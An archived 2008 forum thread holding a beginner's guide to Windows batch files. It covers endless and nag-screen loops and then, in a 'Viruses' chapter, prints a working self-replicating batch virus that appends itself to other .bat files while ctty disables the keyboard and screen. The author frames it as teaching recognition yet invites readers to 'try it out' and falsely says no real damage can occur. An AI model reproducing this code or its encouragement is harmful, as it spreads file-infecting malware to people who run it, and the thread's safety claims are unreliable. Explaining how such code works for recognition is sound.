[Guide]Understanding and making some Batch Files

Discussion in 'Archives' started by Teh MM Returns, Aug 2, 2008.

[Guide]Understanding and making some Batch Files
  1. Unread #1 - Aug 2, 2008 at 12:54 AM
  2. Teh MM Returns
    Joined:
    Jan 21, 2008
    Posts:
    205
    Referrals:
    1
    Sythe Gold:
    0

    Teh MM Returns Active Member
    Banned

    [Guide]Understanding and making some Batch Files

    Hello and welcome to my continued thread about my Batch Basics.These are basically examples and will explain what each and everyone does.

    Chapter 1: Loops
    Want to make endless loops of fun? Then you've come to the right place!

    Now,this is a very basic loop:​


    Code:
    :loop
    dir /s
    goto loop
    What that does is it displays the files on your hard drive and it will not stop :p

    Another Simple Loop,This is also very simple,but more complex:​


    Code:
    :loop
    echo Hi i'm Teh MM flooding this Screen <33
    goto loop
    What this does is rapidly spams the message "Hi i'm Teh MM Flooding this Screen <33"
    it will not stop until you exit out of the batch program.

    This is the best loop command you can do while using Batch IMO:​


    Code:
    @echo off
    :Cmon
    cls
    echo Cmon why can't you delete me?
    pause bell^G^G^G
    goto Cmon

    What this does is,it will display "Cmon why can't you delete me?" and it will say "Press any key to continue" but by adding the command :Cmon and the option "goto Cmon" it will keep repeating and therefore will not cancel until you click the "X" at the top of the batch file.​


    How do we do this?
    Well,take these 2 parts of the code:​


    Code:
    :Cmon

    What this is calling up on a command,therefore making it a command.​


    Now check this part of the code out:​


    Code:
    goto Cmon
    This is what the :Cmon Command is calling,so it will keep repeating and going to the beginning of the message "Cmon why can't do you delete me?"



    Chapter 2: Viruses

    **THIS WAS NOT MADE FOR YOU TO SEND TO SOMEONE ELSE,IT'S TO KNOW HOW TO PICK OUT A VIRUS**
    MAKE SURE YOU CHECK ALL BATCH FILES AND SEE WHAT'S IN SIDE OF THEM BEFORE YOU RUN!


    Virus.bat

    Code:
    @echo off
    ctty nul
    for %%f in (*.bat) do copy %%f + virus.bat
    ctty con

    That is a simple way of infecting files in a directory.This is not a very common virus type because the way it infects. This virus will not only infect itself, but if it cant find anything to infect it will loop and re-infect all other batch files all over again until all the memory or system resources are taken up. This is a bug but also a feature. It just depends itself on any batch file, lame but somewhat effective if used in the correct context. Try it out and play with it, as no real damage can occur. Mind you it is very quick, so if you leave it for ten seconds it probably will have infected other batch files about 600 times. Batch file viruses are very fast and hit hard​


    How do I know if my Batch files aren't infected?

    That's simple.Go to the batch program,right click it then click "Edit".That allows you to see the Text form of what's inside the Batch file.​


    Code:
    [B]@echo off -[/B] Turns off the commands written in the program so the user cannot see what you are typing.
    [B]ctty nul -[/B] Disables the keyboard and screen output, meaning you can't stop the virus unless you turn off your PC.
    [B]for %%f in (*.bat) do copy %%f + virus.bat -[/B] This puts the virus in all batch files and in the current directory
    [B]ctty con-[/B]re-enables the keyboard and the screen display.

    A virus is a program is a file made to copy itself from one file to another.You cannot get a virus unless you RUN IT!​


    Thank you for taking the time to read my Guide.Need any help? Post here!
    Any concerns or questions you can also post here.​

    **Please keep all negative comments/remarks to yourself**​
     
  3. Unread #2 - Aug 2, 2008 at 2:44 AM
  4. Tezlin
    Joined:
    Apr 9, 2008
    Posts:
    1,780
    Referrals:
    0
    Sythe Gold:
    0

    Tezlin Guru
    Banned

    [Guide]Understanding and making some Batch Files

    Nicely done. Very detailed, but there are still waaay more to commands using batch files. 9/10 Pictures would make this a near-perfect guide. :)
     
  5. Unread #3 - Aug 2, 2008 at 2:48 AM
  6. Teh MM Returns
    Joined:
    Jan 21, 2008
    Posts:
    205
    Referrals:
    1
    Sythe Gold:
    0

    Teh MM Returns Active Member
    Banned

    [Guide]Understanding and making some Batch Files

    I didn't see a point in pictures as the loops are animated and the virus i am not going to run.
    I'm new to batch so not that experienced.
     
  7. Unread #4 - Aug 2, 2008 at 12:23 PM
  8. Mageinrage
    Joined:
    Apr 7, 2007
    Posts:
    384
    Referrals:
    0
    Sythe Gold:
    28

    Mageinrage Forum Addict

    [Guide]Understanding and making some Batch Files

    Might wanna note I think sending batch files over the internet is illegal.
     
  9. Unread #5 - Aug 2, 2008 at 4:44 PM
  10. Teh MM Returns
    Joined:
    Jan 21, 2008
    Posts:
    205
    Referrals:
    1
    Sythe Gold:
    0

    Teh MM Returns Active Member
    Banned

    [Guide]Understanding and making some Batch Files

    Well,unless you're into private servers or something,but even then stick to making your own batch files.
     
< [Guide]The Ultimate Windows XP Guide[Tons of stuff] | ChatResponder >

Users viewing this thread
1 guest


 
 
Adblock breaks this site